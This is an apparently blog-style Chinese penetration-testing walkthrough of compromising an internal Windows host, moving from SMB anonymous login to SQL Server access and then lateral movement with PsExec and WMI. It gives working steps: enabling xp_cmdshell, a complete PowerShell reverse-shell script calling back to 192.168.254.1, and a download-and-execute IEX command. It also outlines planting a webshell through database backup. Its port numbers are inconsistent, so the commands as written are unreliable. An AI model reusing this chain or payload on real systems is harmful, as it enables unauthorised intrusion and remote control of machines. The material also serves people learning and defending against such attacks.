本文内容仅供内网安全自查使用,禁止用于未授权渗透。
本文内容均在模拟环境中进行,禁止在未授权环境使用本文提到的工具。
一、前言
已提前进入内网环境,并探测得知若干主机存活,受篇幅所限,只记录其中一台机器的渗透思路。
预先使用nmap -sP 10.10.10.1/24快速扫描C段存活主机。
二、本文概要
本文按时间线,以顺序方式记录测试过程。大致内容如下:
(1).Nmap
的使用
(2).Smbclient
的使用
(3).mssqlclient.py
的使用
(4).MSSQL
服务提权
(5).不出网环境弹PS-Shell
(6).P**EC
、WMI
通信及提权
三、Nmap扫内网
关于-sP和-Pn的取舍
-sP使用ICMP协议发送echo请求数据包,因为有安全设备干扰,很可能遗漏部分目标。
-Pn即使目标不存活也默认目标主机是存活,耗费时间较长,无法完成快速发现主机任务。
注意内网安全设备较多,降低nmap发包速度避免被发现。
四、SMB匿名登录
有445的地方就有smb匿名登录或弱口令可能,性价比较高,值得一试。
成功匿名登录,进入backups查看文件列表,并下载图中配置文件。
配置文件内容如下:
这看上去像是ASPX.NET的配置文件,搜索查证为SQL SERVER配置文件。
补充一下,在前面探测发现1433端口暴露,在那时就已经有必要进行登录尝试(Integred security=True
或弱口令)。假如这不是内网,还可考虑是不是变更了端口,那么进行全端口扫描,发现服务后用navicat
拖库。
五、连接远程数据库
Linux
要连接MSSQL
,这里考虑使用Impacket(PYTHON开源项目)使用example/mssqlclient.py验证MSSQL
密码。
python mssqlclient.py USER@IPV4 -windows-auth
成功连接到远程MSSQL并查看版本【1】:
当前当前登录SQL用户名
看到不是sa权限,需要提权,看看有那些权限划分。
权限组为dbo,dbowner权限,这比较鸡肋,无法直接利用扩展存储执行各种系统命令。
对于拿shell,dbo权限也可以做,但是过程比较烦琐,简化来说分4步。
1.利用xp_dirtree扩展存储列出Web目录;
2.利用SQL语句创建一个临时表,插入一句话木马到临时表;
3.然后利用数据库备份语句(优先差异备份),备份到Web目录并保存为ASP/ASPX格式的文件;
4.利用一句话木马客户端连接,控制服务器。
继续信息收集,查看已挂载的所有库:
`select name from sys.databases`
查看实例中所有表名:
`select name from sysobjects where xtype='U' order by name`
信息收集没找到有价值的数据,陷入困境。
六、MSSQL服务提权
这时需要一点灵感【2】。
检测对方的MSSQL服务是否为SA权限(SA权限的MSSQL用户对应系统的system权限),这里巧在该SQL用户具有SA权限,显然分配权限过度。
返回1则说明是SA权限很幸运我们的目标机的MSSQL账户对应的是SA权限。
使用以下SQL语句判断目标机的MSSQL服务是否存在xp_cmdshell扩展存储过程:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
很幸运,存在xp_cmdshell扩展存储过程,尝试执行以下SQL语句使用xp_cmdshell扩展存储过程来执行系统命令whoami(查看当前系统权限):
我们从报错信息可以得出,xp_cmdshell扩展存储过程未删除,只是禁止访问。可以通过SQL语句启用它。
EXEC sp_configure 'show advanced options', 1;#安装危险模块
RECONFIGURE;#立即生效
EXEC sp_configure 'xp_cmdshell', 1;#开启cmd(05及以后默认关闭)
RECONFIGURE;#立即生效
启用后我们再使用以下SQL语句使用xp_cmdshell扩展存储过程执行系统命令:
Exec master..xp_cmdshell 'whoami';
探测可否出网,如果可以出网弹shell会方便很多。
出网检测:
从结果来看,不可以出网。
七、内网传马
考虑在内网搭HTTP服务传木马,Windows优先考虑用PS,因为PS可以绕过杀软、绕过白名单防护设备,并且还可以得到返回的数据,是内网神器。
保存以下文本【3】为文件 666.ps1.
$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
启动文件下载服务,将666.ps1暴露。
python3 -m http.server 81
启动NC监听
nc -lvnp 82
回到xp_cmdshell终端执行命令
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://192.168.254.1/666.ps1");"
不是nt system意料之中,前面用whoami已探测知用户不是SA。
继续信息收集,重点收集该用户的桌面、文档、浏览器等位置。
在桌面找到一个文件(内含用户和密码)
八、权限提升
对方机器3389端口关闭,想到用P**EC或WMI验证用户和密码。
考虑使用P**EC。简单介绍一下工具,并说下工具的取舍:
P**EC被编写的初衷是方便服务器管理员管理大量的机器,但由于它的便捷,同时也被黑客使用。
WMI为微软官方的批量管理工具。最安全的方法,没有任何知觉,所有window系统均启用服务。
我不选择WMI,因为通过WMI执行的命令一般没有回显,这会带来不便。
**P**EC执行原理**
通过ipc$连接,然后释放p**esvc.exe到目标机器。
通过服务管理SCManager远程创建p**ecsvc服务,并启动服务。
客户端连接执行命令,服务端启动相应的程序并执行回显数据。
这里描述的是Sysinternals中的p**ec,不过MSF、Impacket、PTH工具中的p**ec用的都是同种思路。
在事后攻击溯源时,调查人员会通过日志信息来推测出攻击过程。
优点:
给我们提供目标主机的system权限。
缺点:
p**ec类工具会释放文件,特征明显,专业的杀毒软件都能检测到。
需要安装服务,会留下日志,并且退出时偶尔会出现服务不能删除的情况。
需要开启admin$ 445端口共享。
如图成功提升权限
至此取得system权限,实验结束。
九、总结
内网渗透的门坎还是比较高的,确保你已熟悉常见服务器环境,多练多记。进入陌生内网,几乎全部时间在搜集信息。正如大佬说渗透测试的本质是信息收集,建议选取自己熟悉的协议进行信息搜集,同时边收集边思考更好的入侵路线,不同路线的利弊。与大家共勉一句话,学而不思则罔,思而不学则殆。
补充【4】
常见的WMI攻击工具:
PTH-WMIS` (最早`wmi`攻击的工具,单条命令执行,无回显,需要pth-smbget配合读取结果)
impackets `wmiexec`(Linux跨window经常用)
`wmiexec.vbs` (国人制造,为了回显,写入文件再读取)
`Invoke-WmiCommand&Invoke-PowerShellWmi
常见的PS-EXEC攻击工具
Invoke-P**ec(Empire)`
`p**ec(Impacket)`
`p**ec(Sysinternals公司原版)`
`p**ec(Metasploit)`
`p**ec psh(Metasploit)
除了以上之外,目前还有一款综合式的远程执行命令的工具crackmapexec此款工具支持多种执行方式,并且支持批量。攻击者通过此类型的方式从内网中的一台主机横向移动以获得更多的内网主机权限,达到提升内网权限或者是获取关键信息的目的。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论